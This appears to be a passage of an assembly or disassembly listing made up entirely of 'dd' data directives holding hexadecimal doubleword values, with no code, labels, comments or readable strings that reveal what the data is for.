		dd 23CBA3DDh, 67C2095Dh, 73000EA0h, 2DADB02Bh, 95D2290Fh
		dd 3EA4002Ah, 87E750h, 35C8F6B5h, 0C061DAFFh, 0AAAFB200h
		dd 53556DE0h, 0DD0F0726h, 300558B5h, 2C13D288h,	0B3E56400h
		dd 0C9FEFC40h, 0A5D0C0CAh, 0B28E7F9Ah, 0FAB48600h, 0B95FBF01h
		dd 0D1C305C1h, 0D04A7153h, 4429C050h, 0EC49400Bh, 7EC500A6h
		dd 32A2DD1h, 6F2F38E0h,	80DFCC7Dh, 0DE5F7B94h, 8566100h
		dd 9A1F1481h, 0FAA202C1h, 650AB8C6h, 0F3F846E3h, 0B226694Ch
		dd 1C00576Bh, 635B70A3h, 7290076Fh, 0E03F8E95h,	8276AD13h
		dd 1E188A60h, 2C23F7C4h, 5DED39h, 0FAA0A736h, 3500BC7Fh
		dd 0B9490B92h, 111F80Fh, 87C4E776h, 0CCF4F3B1h,	85004414h
		dd 7BA6EA47h, 0B6C065h,	0E027CCE4h, 282CF10Ah, 50748C0Fh
		dd 0CB55E0C5h, 77E1CDh,	0E4BB7DA8h, 869EF166h, 104CBC00h
		dd 3DF20CF0h, 45400F2Eh, 0C06E48E7h, 9807CAh, 0EA16CD1Eh
		dd 0C500BE99h, 18CB0302h, 18167E8h, 0CC1E05BAh,	0CF4A8517h
		dd 0A6566280h, 0A36FAE01h, 5CD9024Eh, 31B79D4h,	0C9CC4885h
		dd 16B81A19h, 421FB72Ch, 0A812E006h, 93FA3F00h,	1CD3CB56h
		dd 0CEAB3B03h, 0CFC00786h, 1BFDED54h, 0D9773500h, 0BDD23768h
		dd 6B193BDDh, 0A37A7500h, 613E0611h, 0DE8B8700h, 6EBEDF46h
		dd 6A6B0490h, 905E9799h, 0A62CCA50h, 2008C90h, 0E4F13A7h
		dd 12366A57h, 366FA18h,	9AC37174h, 0BD43BCA8h, 0A6774A00h
		dd 0F3A9A56Ah, 333414D6h, 6602EDCEh, 4FA222B7h,	39E50C8h
		dd 523A5D0Bh, 0BC928109h, 72E92DAh, 4F5C4EF8h, 8594C0BCh
		dd 1E0275AEh, 0F0E8EC00h, 1C161C3h, 6BECC5h, 0DABA41B2h
		dd 0C6F8BBDh, 4E390900h, 5B9FD5CEh, 201F4878h, 5150B700h
		dd 0F9C00D30h, 0A4FEDB00h, 589FF235h, 7F4400AFh, 8943EB1Ah
		dd 0B60010C5h, 0BFC8F5E3h, 3AEF1959h, 610018B9h, 98779D39h
		dd 5C28E645h, 0B7008C4Eh, 0C8462538h, 0BFAE8Eh,	1BE42CFAh
		dd 5CB5D7D3h, 2A535600h, 96126F13h, 0E384005Bh,	94FD1EE5h
		dd 2D004165h, 0F6C51788h, 23672Ch, 0D91333EFh, 0BC19E18Bh
		dd 0C1385D0Eh, 0A2D2A080h, 0CD6A83h, 0DB096F69h, 0A85ED173h
		dd 0E2796500h, 53E9C85Ah, 3A413F05h, 0BCD32289h, 10233880h
		dd 0B03956EFh, 25F61EEAh, 0EE58E900h, 3E2B9BEBh, 57AE012Ch
		dd 6F53033Dh, 7698A614h, 4C00E3A5h, 45AB6D6Eh, 3C50FB4h
		dd 0F165BD7Fh, 4ED8B583h, 1C00110Dh, 4A483B71h,	62506Fh
		dd 0CE1376DAh, 1195E1E4h, 7E718E00h, 0A425C245h, 833D013Ah
		dd 0D90DF54Ah, 66D04038h, 13E05E33h, 9C11E303h,	0E53EC552h
		dd 268C7FC0h, 0B56C39BEh, 0BCE5311Fh, 14DE0780h, 0F890C694h
		dd 0DD632500h, 0D35401DFh, 0BB4C39D1h, 1EF37702h, 0A460CCD2h
		dd 460164E3h, 300886C5h, 4860FFF4h, 8898B8h, 71954903h
		dd 9865B11Ch, 920081F0h, 4BBE4689h, 172378h, 0C006A162h
		dd 5F26CE0h, 7A12DA78h,	8840B4BAh, 0C261EA1Fh, 0AEF0052h
		dd 1915306Ch, 0A80027FCh, 1BF477BCh, 7553668h, 0DDB8D5E0h
		dd 7A4A70ABh, 8003E49h,	0FE48807Ch, 20ADDBh, 0A5038714h
		dd 97DD9C66h, 0B7885A00h, 0D0CC2A79h, 1D919861h, 0C0A75708h
		dd 0E6A1A363h, 30FCB731h
		dd 5D27F801h, 994DB492h, 3E6DF5E4h, 0D8980D54h,	617060D9h
		dd 0E80F5000h, 0C65E89E1h, 0B120579h, 0E0AE08h,	3B20DE24h
		dd 0E600D983h, 859CA2A8h, 0DFCAD788h, 257D81C0h, 81CB37E5h
		dd 645D4010h, 0C2106568h, 14DFE42h, 69007880h, 1AB00EB1h
		dd 1A7D42Dh, 1B53442Ch,	0CCE59C32h, 1D004803h, 7539F35Bh
		dd 1C23AE3h, 0A0CBE827h, 0EC74411Eh, 0A498934Ch, 0E44D48h
		dd 5C5FCA57h, 7EF8067Bh, 3AD73C5Dh, 711E6B3Fh, 7CDB4EB5h
		dd 0BE779EA3h, 924209E8h, 0C8003375h, 393176FFh, 0E86C73F1h
		dd 9A8800B2h, 0E4357169h, 0F20012BAh, 49FCF4CBh, 0E214051Ch
		dd 0BC53002Fh, 8BB097A5h, 780337B4h, 0FC774F9Ch, 10211D05h
		dd 52CC4018h, 298F3351h, 2898F200h, 7B403CE9h, 9CEA0079h
		dd 3D01B2C1h, 8271D9BAh, 2BCE216h, 0DEE72000h, 48F59A04h
		dd 4301BC53h, 0F4C8FF2Bh, 0D9942039h, 0E4A42126h, 7BE80600h
		dd 4C57B26Ch, 2C079135h, 461E7C13h, 14071865h, 93D53926h
		dd 0A1363110h, 0B70D0016h, 9E577603h, 10777F6h,	124FF380h
		dd 0FE805Ch, 3A09B7ADh,	0E6E725DFh, 0EACAB58h, 0E31AA108h
		dd 0B8B8ACFDh, 73A0B6F7h, 0A7F02h, 0A1EB44CFh, 5A03BB79h
		dd 0E9257B00h, 0FB77EA6Bh, 60B01Fh, 86E6A257h, 585F984Ah
		dd 81201300h, 0A178353Ah, 64E901BBh, 0EF9FEC7Eh, 6DAAFC36h
		dd 0C5296B1Fh, 805F0749h, 0B49E188Dh, 0F0BA97h,	0D4F49143h
		dd 0F22899Fh, 0CEA65400h, 0D9E437F0h, 39940025h, 84FD9224h
		dd 0D03D2187h, 2CEC8BD6h, 0B5582075h, 0B8F90Fh,	9769E78Eh
		dd 0FFEB1B82h, 2819FC00h, 4137AD35h, 68DF006Eh,	0A7F6B974h
		dd 42E2F16Fh, 5AA1D301h, 6CA0963h, 0AD0CA0EFh, 579603ABh
		dd 8E50B27Ch, 15ACAFB8h, 0B1F1C502h, 40FD4AA0h,	3D5B77B3h
		dd 9400711Ah, 0B6F6F05Ah, 30059BAh, 760F1123h, 4734CBh
		dd 0D2F17036h, 0C062FC9Bh, 6F7F162Ch, 23BA9D00h, 1C15D86h
		dd 0A1184FC7h, 6060C5FAh, 0A972EFACh, 9ABB8900h, 5BBA621Eh
		dd 0C18F07E1h, 0E0651621h, 9288F64Ch, 425C4B00h, 0F5FC67Bh
		dd 5B2F005Eh, 44C7867Dh, 0C501580Bh, 0FF50ED16h, 57FC343Bh
		dd 0A365139Bh, 0D3AB0087h, 83263756h, 75207E00h, 0E6140931h
		dd 0B4F01C4h, 6718AC3Fh, 0F3B45087h, 0A0003648h, 0EB3432B4h
		dd 0B802BB4Eh, 16630020h, 0B0272250h, 0C80129D7h, 48D11D62h
		dd 53618671h, 0C0F66DFCh, 2CF37A40h, 0FF00CE34h, 9AEB290Dh
		dd 48522F28h, 3808904Fh, 3F074906h, 0C7F0617Eh,	7CDAE9h
		dd 7A535C9Fh, 0E33E42E4h, 74ED6501h, 13F7FA35h,	5CB09820h
		dd 0D30FF0FFh, 32C018F4h, 8B91ECBFh, 0C62D8800h, 0D1CAE341h
		dd 232516A3h, 0DD80029h, 5FF02F1Bh, 0AB76B401h,	0C24215Dh
		dd 9B008C2Ch, 32ACDC3Fh, 4F009446h, 728934F9h, 5CB2F005h
		dd 8000849Eh, 0F835FBC0h, 9201F921h, 7E5B881h, 91E828FDh
		dd 0E6BF00BCh, 1AEE293Ch, 0E7055CABh, 0A2055B67h, 64EA10D0h
		dd 9C070025h, 8C7D9BFBh, 0B40090E2h, 2CA46934h,	108ED0h
		dd 4BCEC7E6h, 0BEAC2154h, 0E287520Eh, 5DE360C4h, 9031663Ch
		dd 0F1281CB8h, 994B4081h, 27143568h, 0DC00614Bh, 3C56184Dh
		dd 0FCB3023Bh, 0BE059F01h, 0A58F04E0h, 0E01F6F2h, 15841EE2h
		dd 13D47F5Fh, 0C873002Ah, 0E63DFA63h, 184CF743h, 9C030008h
		dd 0F9E92DA1h, 0D5BF0070h, 8D86B8C7h, 6563A9B0h, 98745D59h
		dd 198A1E2Ch, 882F71DEh, 5A0B703Eh, 17D9AF07h, 3680CF23h
		dd 7ACE1B6Ch, 115F012Eh, 6AC92999h, 0CC1CF42h, 97ADC41Ch
		dd 65649000h, 1874037Bh, 90B8B0h, 9F48E0A3h, 0D75BCAD1h
		dd 83048h, 821FDA4Fh, 0FC2AEEAh, 6BF6EC6Dh, 2479C814h
		dd 12F368FFh, 0EA3C004Eh, 0CD0DE49Eh, 109CD500h, 493E3FA6h
		dd 0DF9B248Ch, 0B9300094h, 6B57F797h, 0B710D10Eh, 0FBD6E0DBh
		dd 0DD2841h, 0B11B5D04h, 0ED6658C6h, 0EAA1AC00h, 700DB486h
		dd 5EBC3EAFh, 0C077D8E4h, 130F1554h, 2F1DF105h,	0F0932DCBh
		dd 0F0104CF2h, 5BE4A200h, 82152CD3h, 0F0498600h, 77CFA80Ch
		dd 349D1CABh, 25960073h, 1F1079EDh, 96EE0738h, 570080B4h
		dd 0CB9A8C20h, 658812B5h, 0FBBC0176h, 0F84623F6h, 7D0064D0h
		dd 6C93DCBDh, 3E0AF1h, 0B61F4E44h, 13CB2CEEh, 860B4A01h
		dd 0CBEE28Eh, 0FA682F20h, 0F15301A5h, 70837A80h, 5BED4063h
		dd 490050AFh, 0ED87DAE2h, 48085Ah, 0B0F01790h, 95889A5Ch
		dd 51103200h, 0FAE537FDh, 24A5F09Bh, 58AF89h, 0BD1DD833h
		dd 0B72F70Dh, 6073005h,	0F0C0C73Eh, 7BFB34D5h, 33693EDDh
		dd 2901D200h, 0F9B8EF75h, 55D9E001h, 0C34953D1h, 8807E03Ch
		dd 9343F55Bh, 0C8A809DEh, 533CED81h, 1C00CF3Ah,	0DF870DA1h
		dd 667C2CA0h, 126701ACh, 2C21C70Eh, 2F593E8Ch, 0CBC94020h
		dd 0DDC00FCh, 53053078h, 0C000B5A9h, 0A3DEF333h, 1EFAE8Bh
		dd 0BBB7D63h, 0E498A6F8h, 0D0392B6h, 22B702F1h,	4FCF812h
		dd 8760141h, 1DAA91ADh,	2FB080BEh, 0A40F0E6Ah, 1E62F4D2h
		dd 0C01CD7C6h, 101A7F42h, 0F200CCCFh, 33F3C42Eh, 30C324Bh
		dd 0B1AFD8C9h, 5F98F88Dh, 0EC0005B9h, 0BCDDD130h, 722D2533h
		dd 7C4000DCh, 49F04FA7h, 0A9487DD7h, 0BD017578h, 0E4640284h
		dd 25E4F510h, 1E990ED0h, 588023CDh, 0C2BB271h, 38102C0Bh
		dd 0BF5080B7h, 0DC4164h, 0E8FC187Eh, 0FB3BE3ABh, 0B26BF31Ch
		dd 0A35B3D03h, 0B416B0A4h, 0FFA603F2h, 46FB36ECh, 0BC81EEBAh
		dd 0F0A29F3Ah, 6000C401h, 906EF5CCh, 3EE041h, 32E67DE4h
		dd 0EC7F0992h, 0C2DBDF00h, 65919B9Dh, 2BAB037Ah, 6FE7E1AAh
		dd 84F4D0ADh, 6A3B2822h, 0DFA51313h, 25D42800h,	0FC4B468h
		dd 27546CFBh, 483AF0C0h, 48C09576h, 40B36EADh, 0AA051C53h
		dd 996D40BBh, 8993014Dh, 521A9B26h, 6726350Eh, 0D710B1CEh
		dd 2B7ACDh, 0BFB7D0CCh,	265DC2BEh, 0B0CFD518h, 0DA07D2h
		dd 37A6DE4Fh, 310A534Bh, 0B1DB7300h, 5451AD03h,	0E3401312h
		dd 0AFA00222h, 5C606E3Ah, 0F5003FFCh, 393B5C44h, 7C78A37Fh
		dd 2F941FD5h, 2600F817h, 0B48CBDEAh, 16001BC5h,	0E0EFFF0Bh
		dd 43E6E06h, 38F59087h,	3AB8A0C0h, 0D4003D7Eh, 65062EDh
		dd 580E65h, 0AB99C594h,	7E599E4Fh, 8021493Ch, 25AE44F3h
		dd 8313Bh, 0C2B87335h, 0D3B045E9h, 5897E402h, 435B1BCCh
		dd 0F4388800h, 0C25F006Ah, 0D76CB404h, 0D50F07F9h, 83DC2ECBh
		dd 0F3BBB278h, 0CF30172Fh, 24081FA9h, 22530010h, 0E4BF1F02h
		dd 7FB5603h, 0F81E7C83h, 3896A254h, 14020DB6h, 0B98A7304h
		dd 21130C40h, 1168172h,	7000B0F8h, 0A06DD43Bh, 0AC670036h
		dd 0F25F924Ah, 0CC055CA1h, 9925C67Fh, 31EDB001h, 67304BEBh
		dd 0B2EAF0h, 0F22E21D7h, 14E74432h, 335C2013h, 0C9021840h
		dd 95EE52h, 0F06C182h, 838C54CFh, 1BF8500h, 0E953C802h
		dd 0FC130076h, 0B2A25A66h, 4F00AF1Bh, 0A7273DFEh, 3A16FB5h
		dd 0C6DC850h, 880A261Eh, 0C8023E9Bh, 6795E600h,	135234CDh
		dd 321EAB4h, 84B69969h,	2E3C2488h, 3F56AB00h, 0CFCD37AAh
		dd 80F52662h, 0A01E185Ch, 8500F660h, 38C341Dh, 3A0D9E6h
		dd 0A6357F17h, 809D7A7Bh, 0AB55F67Ch, 1F2A1400h, 4B56E595h
		dd 0FB800E7h, 0F3BFCD04h, 50B7CE4h, 806C2D80h, 0F0D733E8h
		dd 7BC50431h, 0C06B2E18h, 5F24DA80h, 4CDF9C01h,	0C52F1E69h
		dd 399266C0h, 7801B575h, 0E7B88EABh, 146BD8C6h,	6DB97E03h
		dd 3E48768h, 0F269E228h
		dd 51D8277Ch, 0C0775679h, 7A605D02h, 0D89199C7h, 0B0DC22ACh
		dd 0F8945CA8h, 2EC64600h, 9CB9560Ah, 57810075h,	86594365h
		dd 4916086Fh, 0C41F4835h, 0F8508D80h, 2C1C23h, 0A043D554h
		dd 65D88B3Bh, 7D40DD00h, 1FABAFD3h, 1C8A30B8h, 0B68B0E28h
		dd 11152930h, 7F676611h, 704F1FB2h, 53903BBh, 0C888D129h
		dd 1816BE20h, 341CC222h, 380095D3h, 0D51F9ECBh,	0AAAD0035h
		dd 804A36ACh, 0E00DA66h, 0D13C451Dh, 48BDA397h,	290188A2h
		dd 44A5D28Bh, 268DF0E3h, 4ABF5B17h, 45F37080h, 6376FDh
		dd 0C3400E8Bh, 0E34D194Fh, 941AE800h, 0CF2D2952h, 1F1894C9h
		dd 8732C081h, 2A1BEFB5h, 263DC53Fh, 5600F092h, 0F646B9E3h
		dd 0FD1F00FEh, 40AFA17Eh, 0D800B269h, 0EA991ACCh, 848FE6h
		dd 1F9D3CE2h, 4FA24689h, 692B4A00h, 0DF79A3F5h,	8A71EB3h
		dd 68994082h, 4E163198h, 3626921Ch, 0D8D5E0CAh,	0F9CC9A00h
		dd 245F59Eh, 554CCEC2h,	14600920h, 2890A3C6h, 4F294200h
		dd 0F7716DEFh, 0D03A004Eh, 448262DEh, 0E8008DA2h, 2CF1FE7Ah
		dd 0CC5095h, 1DB27542h,	5709F66Ch, 3F3C3907h, 0D6211067h
		dd 0BC40D471h, 7DA48140h, 396200F6h, 0A67947DFh, 690002C8h
		dd 8042D238h, 68F9BBh, 9FED5FAEh, 0C41B2027h, 0FE596100h
		dd 0E5212A9Ch, 3B5B00C6h, 0EC4BBE5Ch, 0F400B490h, 4428E14Ch
		dd 81DFCFh, 0D4B3E7BAh,	1C7F1853h, 5C9B2000h, 0A9AD51AAh
		dd 39442C8Bh, 0F2B002A5h, 3CE0DA71h, 1E0714D0h,	0EBE80288h
		dd 0CFD2E6D0h, 97980011h, 84F48A05h, 0A716E07Ch, 5C0034B9h
		dd 0C8D5760Dh, 0FD3EC72h, 0BEB56BA4h, 54090C80h, 2C00FEA6h
		dd 0BAEE298Ah, 0FC518F33h, 0C23A0501h, 0C0EFB83Eh, 5BBE78ACh
		dd 0D728E400h, 520359DEh, 50FD71C0h, 0F4BA90A4h, 2A0D0908h
		dd 0E4007C51h, 42340F52h, 0CB30CD00h, 14B0EF5Fh, 0FC924893h
		dd 13E20075h, 0B9526E29h, 0D700DC2Ch, 8D6A7A37h, 2457B5F9h
		dd 808412B1h, 4EC910EEh, 55108827h, 30001E4Ch, 0FD2D3216h
		dd 0D201CD05h, 0BEC9E52Ah, 0EC304F64h, 2E273A37h, 44FBD780h
		dd 5A1D8B1Ah, 1371C20Ch, 7A9F2098h, 65C10740h, 0E0192433h
		dd 58A68A45h, 80662C00h, 0DDF4E56Fh, 0CA5E07E4h, 0C081767Dh
		dd 0D4DE67D0h, 8A3E5Ch,	21EC8C53h, 268BC8A8h, 129879A7h
		dd 0C09420BAh, 5C0F9FF5h, 4040C6C5h, 0A5777492h, 0E19B1BA8h
		dd 1FB85807h, 0FB006808h, 315088C5h, 19374B6h, 8016C084h
		dd 0F4A6533Eh, 1D00153Bh, 911BB7B3h, 383B2F8h, 0A0B1ED97h
		dd 8C06A11h, 4279D077h,	0D6375100h, 0CE6EF652h,	86190144h
		dd 0C5B23058h, 6264F49Bh, 6F3DD5E4h, 0DE5D8774h, 2CB0E2B7h
		dd 5ED8A571h, 0A5C004Dh, 0F758E58Fh, 0FB77C63Fh, 3C094E00h
		dd 189EC21h, 9D0D79C0h,	5E7B8CA0h, 2F0424D5h, 7DCF229Bh
		dd 0F84B4483h, 1ECA21EEh, 0DCBD7Ah, 4D9EAAC6h, 1A006A97h
		dd 829B4202h, 9039A48h,	813C06E7h, 0EB3D8400h, 2F013453h
		dd 7898DF33h, 3BFCE96Ah, 7C383B64h, 0AFA213h, 0F930EF84h
		dd 0FC0FDD0Dh, 0CE466562h, 0C168014h, 97118Fh, 0FD373B51h
		dd 0B34A68EAh, 0BD396707h, 263065A1h, 9D4E55h, 237CD69Ah
		dd 0FFCF0D71h, 9B124D00h, 8BE8F6AFh, 9FC80066h,	0EAE06741h
		dd 1800A17Ch, 49AD975Bh, 0E0F04CE6h, 0C7C5077Fh, 0C10EB2C3h
		dd 6B087995h, 3321CA0h,	577D1B8Ch, 94E03C90h, 8F48FEC0h
		dd 0B2BC00C9h, 0B5C7F06Ch, 2AAB00FFh, 0C8585013h, 6A09150Ah
		dd 8035E0BFh, 0D0943F85h, 9EEFC09h, 48C81A5Ch, 0EDF6F780h
		dd 260F31B8h, 0E1759525h, 0B33E3990h, 0BE1A80E7h, 813500DBh
		dd 0F253B44Dh, 3C00EE86h, 0E63A1176h, 8AF618h, 36C2974Bh
		dd 0D89C6ABCh, 8657903h, 0A87B174Eh, 0DB2AB1h, 0DC759105h
		dd 60CE29AAh, 4A409AC0h, 0C85F87Bh, 22DD61ACh, 0C4F0A970h
		dd 0DE0E5D0Eh, 58E7A7EFh, 20CBF600h, 9A7404h, 77067A3Fh
		dd 0D4E59D48h, 9894B800h, 0FCC7E47Ch, 0A92500DBh, 6A54DE86h
		dd 0B6000C79h, 6DD79408h, 461F16h, 2A2CF7E3h, 0CFA595BEh
		dd 5DAB9B03h, 0B8D3D718h, 0FA9A0DDh, 0D0B8175Eh, 80321FAh
		dd 0A4C0DEA2h, 30C21A27h, 0E09DECCCh, 3426307h,	25D08704h
		dd 62E0FFF4h, 0E0F3900Ch, 0B0010835h, 7E2A03EAh, 0A980B822h
		dd 9DCFB471h, 173BF0B7h, 0D301749Fh, 0DBFF314Fh, 1CF0BF9Eh
		dd 7959388Fh, 92032280h, 0EB102CAh, 924A21Eh, 9E649D00h
		dd 0DEEDEC6h, 26CFC872h, 9805EC80h, 2D27F14h, 0EF0B1F38h
		dd 2A01710Fh, 5C1354E4h, 0EE271100h, 14AFE06Ch,	64D072EFh
		dd 98057A3Fh, 656B1Dh, 8A405B24h, 99006D4Fh, 144EA43h
		dd 0E87724D1h, 0B0D5587Ch, 8068071Dh, 0A0A4DB56h, 4000EE5Fh
		dd 0F22A1DB7h, 71065789h, 0D0B00A5h, 114A9E5Bh,	0DD00E2BAh
		dd 0EC681F21h, 7FF4EFBh, 0A796F95Ch, 92DA91A5h,	7561ECF1h
		dd 0C18A900h, 1F24FDC8h, 6DE1E1Eh, 149AC099h, 0D8F079DAh
		dd 73411701h, 8D0257C5h, 2368C0h, 0FE48B877h, 0D3F50F1Ch
		dd 7E221F03h, 89C85A6Ah, 83C841FCh, 0FB62603h, 6CF130D5h
		dd 550F6411h, 9E24A4h, 0E8ABC1BDh, 942802D5h, 0FB9674A6h
		dd 188F9880h, 432B6BEh,	909328DCh, 4335A4h, 489D2809h
		dd 5E6B16A5h, 1840940Fh, 0A07F4093h, 50E382h, 6F72C70Eh
		dd 0A6ECC161h, 67F73403h, 0E3C40C21h, 82BCA3CAh, 17063F2h
		dd 163BDB58h, 0DC3C0EF8h, 560EBA4Ch, 47101BDFh,	7BD933h
		dd 3EFBA4B0h, 0A8D1C0B9h, 0F3BC3B48h, 0D8C4EB00h, 0BFD9AE70h
		dd 9D51838h, 0CB9D68EFh, 634C1000h, 7BC1D630h, 0D1F8CDh
		dd 7AC24A36h, 4996536Bh, 0CDDDF3Eh, 184D52B9h, 371819F5h
		dd 7BF468A9h, 2A80E0B0h, 84EB97h, 100F11C9h, 476BCA62h
		dd 9EAC2B01h, 0BD5D4832h, 6024D2DDh, 958D00F1h,	6CC58498h
		dd 31167B01h, 0F3001939h, 0BD2110A4h, 0DA9F0085h, 331A0D26h
		dd 0EB12B45Eh, 3D008C44h, 64BF6954h, 83E300A3h,	0B0040616h
		dd 6C03E7B2h, 5D7F0BCFh, 8A90C03Bh, 0AD4F0049h,	1674A9AEh
		dd 9B0047CBh, 260ED448h, 7D469E07h, 7EE50023h, 9495CA6Ch
		dd 58008BD6h, 0F4E0B049h, 794687h, 146F41E3h, 0F6BD90BEh
		dd 78F9C907h, 4930C2F1h, 8AD531h, 0CC79927Fh, 23AE66D6h
		dd 0FBEFD3Dh, 1656222Ah, 0C900F112h, 0E42798ACh, 0E77414h
		dd 2ECCA4EBh, 79D2ABF2h, 906348h, 0FD475B8Bh, 12887DE0h
		dd 0BC0872E8h, 0BC3E5Bh, 0FEE3747Bh, 0EEC2092Fh, 0D54000BEh
		dd 0C899BB86h, 5800E087h, 0CA6E7A63h, 34E517Eh,	595615A0h
		dd 7DE0D249h, 0A00D34Bh, 0A4C14492h, 0E71DD0h, 0AE547F97h
		dd 0FAA97C67h, 3B65C401h, 5201C18Eh, 4541994h, 69170CBAh
		dd 3ECC10D5h, 987EC48Ch, 0E3371CFh, 0F0BC10AFh,	48176D80h
		dd 28C4618Ah, 615EC72Eh, 0B10C103Bh, 118B1C11h,	7621C9D1h
		dd 51FE250Dh, 731482DAh, 22A224CBh, 243C8520h, 0CD581404h
		dd 0EA43CE48h, 0D879280Ah, 0CFA72250h, 4808BA42h, 0EC14B0D6h
		dd 0D2A21114h, 1116E611h, 0E0211F23h, 90977508h, 0FCD28612h
		dd 11B442A1h, 0FE309B71h, 575D7D29h, 7E6A8D00h,	6192A77Bh
		dd 60900035h, 91A4AE20h, 5A5C6C7Ch, 0C4007074h,	0BAE39E86h
		dd 7B2C567Eh, 26918D4h,	8CDA18BEh, 1600197Ah, 74534B18h
		dd 0E0B3F40Eh, 0F95D0303h, 0A567D233h, 8ABD85E8h, 17B20700h
		dd 1B658F5Ah, 0E09100E9h, 0C1F7A441h, 0C906D931h, 2BEBF03Eh
		dd 6FE231h, 0E1F2F82Ah
		dd 4FFCEEA9h, 35573601h, 0BCD726C4h, 0EB11720h,	0C69B98D1h
		dd 0EA0C01B3h, 0F06838B6h, 82718DA2h, 0B0518000h, 0F2E10233h
		dd 0D5670027h, 21509260h, 5800056Ah, 3F2F4B55h,	0CE32EDh
		dd 427223DDh, 0C2AF181Dh, 8E271712h, 0BDD69D00h, 3E90AD50h
		dd 0E700666Ah, 0A8631679h, 0A0097DB6h, 192FF86h, 8CE81A64h
		dd 2C2EE0h, 94190451h, 0CBF8F75h, 69B0A300h, 0D9FC6AA8h
		dd 7E7D0041h, 3B2E9DB3h, 0E8007F72h, 2506A962h,	9271C0h
		dd 9A0DEEB9h, 2E93ACA4h, 12AA2B00h, 22E71805h, 81660150h
		dd 902C8F64h, 0D762E447h, 3BBC761Fh, 0AC0069D2h, 88A46AF0h
		dd 70C40063h, 25628B0Ch, 913B6E77h, 19007CB6h, 0C9F8CFF7h
		dd 7F2FB0ABh, 7172B5h, 97F16D74h, 68FAB39Ah, 84E4ED00h
		dd 33AD2DEFh, 6FA600E0h, 6E6D0F02h, 5500288Fh, 2AB815BBh
		dd 0C5D74Bh, 2B8250A7h,	0BAE6BCC8h, 810C7DECh, 2051E0AAh
		dd 142A025Dh, 673476A6h, 45B4A490h, 0E8793000h,	6F850654h
		dd 92ADFA7Eh, 7AF9010Ch, 0E9788725h, 5F208059h,	0D6697092h
		dd 0AAC51888h, 581E2886h, 59441F00h, 4A56FCA8h,	0DF510019h
		dd 285BC13Dh, 0FD98C534h, 931CC207h, 8C50F35Fh,	5DD9A2h
		dd 0A15B7963h, 59B9F0B6h, 0EBEF200h, 5E2485C9h,	0F33A006Bh
		dd 0BD7768A4h, 337530FCh, 0A2A19400h, 30AEF3Dh,	0F7DA00CCh
		dd 2384B17Bh, 8700BF17h, 0C2B297B8h, 7208643Ah,	46F0ADh
		dd 0A4F2E9B5h, 0F9BD2FC4h, 0C5286E00h, 0E63BE270h, 22FB00A7h
		dd 6671E9CAh, 151D324Bh, 6EC05AF0h, 0F1133D29h,	6B90BCBh
		dd 0DD006D54h, 41764E4h, 0D3C6D500h, 8504725h, 5AC228A8h
		dd 0B06F07ACh, 0F00C62E3h, 0E015285Fh, 522A9800h, 3460A3EAh
		dd 588100DAh, 272E73Fh,	45004C82h, 447BAE51h, 27C2B57h
		dd 0DCBBA0A6h, 4C0BDDEh, 0F600B9D0h, 5D6595D5h,	9DC7E6h
		dd 949A9C24h, 98C6EB52h, 61D6F500h, 3B7B1A14h, 866A0F2Fh
		dd 78007F4Bh, 8D354A3Ah, 0F5275301h, 44AB54C0h,	73772C30h
		dd 0B2F400B0h, 10C1FA0Ah, 3600DDB1h, 0B94776B3h, 1F2AE499h
		dd 7D2A705h, 103CFEDFh,	50B8E5C4h, 468B7B00h, 0C3A23692h
		dd 595A3F88h, 1CF70175h, 7F11B0BCh, 9B8CF425h, 4AD8680Eh
		dd 0C7C56013h, 88CD30h,	1FD9831Dh, 808B8C17h, 7E4E790Eh
		dd 0A46F82A2h, 8AA840FCh, 359001A3h, 804F4052h,	6A1BF8C9h
		dd 2C994Ch, 0ACBB2639h,	3BBC1F3Ah, 7A1624D7h, 2EAC4073h
		dd 65B536ECh, 0A4881C00h, 267CEE1Ah, 667D00E5h,	4C0B103Dh
		dd 8A00BE2Ah, 6AA1CEBFh, 3041D9Dh, 9A9B7209h, 0D2C820A3h
		dd 9926429Ch, 138360FAh, 125C54Ah, 3B665538h, 0E871BF0Ah
		dd 350FD47Bh, 56D5C751h, 30E5F401h, 19813B85h, 184A9687h
		dd 0E414C8A7h, 0BC03A300h, 0BE44C2CEh, 414E1C70h, 0F39480D2h
		dd 0A8ABA9AAh, 0A6C0DE02h, 63A2234Bh, 3A29E8BCh, 59F71222h
		dd 94D210B2h, 4986E501h, 0C021A584h, 700833Ah, 0E2DFCDFCh
		dd 0BE699Eh, 2F02F041h,	0F6DD921h, 0DB072900h, 378DC0B5h
		dd 0A470023Bh, 3FF32E40h, 0FB806C63h, 0F0BEA1Ch, 8095E2E7h
		dd 0DAD1D6DEh, 96E504DBh, 80D70823h, 0D8690A04h, 88B1FC0Fh
		dd 0C0B9C029h, 32DE9h, 0EA74CEDEh, 6932DAB2h, 0CB047F90h
		dd 608AEDE5h, 41938CD0h, 777D00EFh, 5BC07FAh, 0EAF61B84h
		dd 17092BF2h, 0DC1AE9h,	0BD80971Ch, 39180096h, 94588D70h
		dd 5500CB3Eh, 0D3E804B7h, 3FF92B98h, 9580A665h,	181AEC4Ch
		dd 4000907Ah, 0F6967710h, 1DA0B22h, 0DDE43D97h,	0C2C9E821h
		dd 0C0486062h, 78003B9Ch, 7C55AF13h, 34BF32h, 8AC20B88h
		dd 74B8FDA0h, 0A5126300h, 1ED0B00Ah, 97690024h,	8B798703h
		dd 0B00F972h, 4DE6ACFDh, 0EC26FBh, 2897ADC3h, 51186D9Bh
		dd 883F1A07h, 47870723h, 599C3130h, 0ED060279h,	0E3C8CF3Ah
		dd 2B1E8C40h, 2D5CCB0Fh, 5D96403Dh, 0ED81CEh, 2AD78938h
		dd 1FD3BD5Eh, 11566524h, 79B02801h, 4ED0D2FDh, 0A92200B5h
		dd 0EC668DD7h, 0C20073DEh, 89E3E212h, 745FF137h, 0AB180024h
		dd 21475296h, 7DEE3D63h, 5D3845F2h, 0E3EC8020h,	890E9075h
		dd 554B0078h, 63CBB57Eh, 0BB0571C8h, 0EC4DED4Eh, 21B107AAh
		dd 78C6B3D0h, 0A4E0D5FBh, 960024D6h, 3EBC59CEh,	2EDD88h
		dd 3C5AF201h, 7EAB0FBh,	0ED97F000h, 1B13A4E8h, 0BECF1C49h
		dd 0B0DC072h, 19241FB5h, 5C4D4000h, 0EC7DFB50h,	2550018h
		dd 0F2D6D0EFh, 0FF00CEC7h, 5FCB424h, 5E8EA6h, 7C679911h
		dd 29158B35h, 477F4407h, 0A049145Bh, 58488D90h,	3E7E0111h
		dd 0C695C04Eh, 2DAC34A1h, 64976B00h, 88AA7C22h,	8759005Bh
